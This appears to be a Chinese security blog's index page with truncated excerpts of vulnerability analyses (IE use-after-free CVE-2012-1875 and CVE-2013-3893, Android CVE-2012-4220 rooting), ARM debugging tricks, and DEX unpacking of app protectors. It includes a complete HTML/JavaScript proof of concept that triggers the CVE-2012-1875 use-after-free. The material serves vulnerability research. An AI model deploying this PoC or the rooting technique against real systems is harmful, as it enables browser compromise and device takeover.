最近声讨WIFI万能钥匙的声音越来越越多。这东西带来的安全性不必多说，但研究这个App还是十分有意思的。
其实在去年10月份左右，Hao Liu就已经把接口分析完毕。当时还没有iOS的非越狱版，Hao Liu猜测到了WIFI万能钥匙团队一定会通过大量的Android用户提供的密码，然后以LBS的形式出现在Apple App Store上。
个人观点，这东西还是谨慎使用为妙，尤其是在公司环境下。
WIFI万能钥匙Python查询脚本
10条回复
CVE-2012-1875 UAF Analysis
Intro
大牛ga1ois在《关于泄漏的艺术》一文中提到CVE-2012-1875是一个可以从脚本层面直接访问的UAF。以前没分析过这种类型的UAF，这两天趁着年后不忙看了一下漏洞成因。
POC
POC来自看雪，按照惯例添加了一些代码方便跟踪整个过程：
<HTML>
<DIV id=testfaild>
<img id="imgTest">
<div id="imgTest"></div>
<input id="4B5F5F4B" onMouseOver="crash();"></input>
</DIV>
<script language="JavaScript">
function crash() {
Math.atan2(0xbabe, "[*] calling crash...");
eval("imgTest").src = "";
Math.atan2(0xbabe, "[*] after set imgTest...");
}
function trigger() {
var x =document.getElementsByTagName("input");
Math.atan2(0xbabe, "[*] fireEvent onMouseOver 1st...");
x[0].fireEvent("onMouseOver");
Math.atan2(0xbabe, "[*] Before free object...");
testfaild.innerHTML = testfaild.innerHTML;
Math.atan2(0xbabe, "[*] After free object...");
Math.atan2(0xbabe, "[*] fireEvent onMouseOver 2nd...");
x[0].fireEvent("onMouseOver");
}
trigger();
</script>
</HTML>调试的IE版本：
CVE-2013-3893 UAF Analysis
Intro
前段时间工作中一直在干一些乱七八糟的事情，重心基本都是在Android上，掐指一算大概也有几个月没在Windows上用过调试器了。昨天心血来潮分析了一下IE的CVE-2013-3893漏洞。
POC
POC来自这里，使用XP下的IE8作为调试对象：
文件名：mshtml.dll 文件版本：8.00.6001.18702 MD5：D469A0EBA2EF5C6BEE8065B7E3196E5E SHA1：FD6CB9D197BB58C339DEFE6E2C3B03FB3B62B440
调试过程
定位出错对象
IE加载原始的POC，异常中断时的信息如下：
稳定利用CVE-2012-4220的方法
CVE-2012-4220 原理分析中简单的描述了一下libdiagexploit存在的问题，经过实际的测试，android-rooting-tools使用libdiagexploit是没法将值修改正确的。下面给出一种修正的方案，经过测试可以在ZTE N798 (CT_CN_N798+V1.0.0B09)上获取到了Root权限。
注意事项
利用之前需要清楚这个漏洞的功能和限制。
- 使用该漏洞可以向任意地址写入一个16位的值，范围是2~0xFFFF。
- 修改为特定值需要循环调用该漏洞直到delayed_rsp_id的值是目标值。
所以，就是要控制好写入值，以及循环的次数。
CVE-2012-4220 原理分析
漏洞信息
该漏洞的一些相关连接：
上述连接中对该漏洞的描述：
diagchar_core.c in the Qualcomm Innovation Center (QuIC) Diagnostics (aka DIAG) kernel-mode driver for Android 2.3 through 4.2 allows attackers to execute arbitrary code or cause a denial of service (incorrect pointer dereference) via an application that uses crafted arguments in a local diagchar_ioctl call.
漏洞分析
造成该漏洞的主要代码如下：
ARM和Thumb模式下的断点总结
脱壳或者调试SO的时候，需要在恰当的时机让进程停下来，以便于附加调试器到该进程上。被无视的壳虐待之后，总结出以下几种断点的方法。
死循环
ARM Mode
ARM Mode下每条指令长度为4个字节，对应跳转自身的Opcode是FE FF FF EA，对应的助记符是：
LOAD:000033B8 FE FF FF EA B loc_33B8
Thumb Mode
Thumb Mode下每条指令长度为2个字节，对应跳转自身的Opcode是FE E7，对应的助记符是：
某版本360加固保动态调试&DEX静态脱壳
Intro
360加固保是360针对Android app推出的加固服务。本文针对其DEX加密技术进行分析。
动态调试
动态调试过程略过。
文件结构&静态脱壳
这个版本的加固保中，加密后的DEX文件被附在了壳DEX的文件尾部，如图所示：
某国产DEX加固原理
Intro
这个加固是来自国内某个公司的作品，虽然在强度不是太高，但思路却不错，很好的平衡了性能和保护效果。目前看来，分析的这个版本只是一个很初级的框架，如果再此之上进行更多的防护和保护，强度会更好。
加固效果
加固之后，其效果是DEX中某些函数被加上ACC_NATIVE标志，原始的DEX代码已经消失，使得反编译、二次打包等功能失效。而加固之后新增的Libt**.so则负责在运行的时候，还原那些被抽取的Dalvik虚拟机代码。
相关结构
了解一下相关的结构有助于分析：
The End Of An Era
It’s the end of an era. Kevin邮件的第一句。
这次的主角不是Tarja，是我们。毕业后来到SRC，近两年，如今说没了就没了。太匆匆啊太匆匆。
这一段时间的经历对我影响至深，感谢SRC的每一位同事，感谢大家的贡献和努力。
两年的时间，我才明白如何才能做好，可惜现在没有机会再继续。这是我目前最大的遗憾。
多的不说了，祝各位以后顺利。
RDB文件格式分析
RDB文件常见于腾讯的客户端软件，大多数与UI资源相关，包括了各种图片、XML等。
Layout
[File Header][File Description Table][File Data]
文件头包含了文件基本结构的信息，File Description Table描述了文件名、大小和偏移，最后就是实际文件的数据，没有加密或者压缩。
File Header
File Header由四个域组成，C语言描述如下：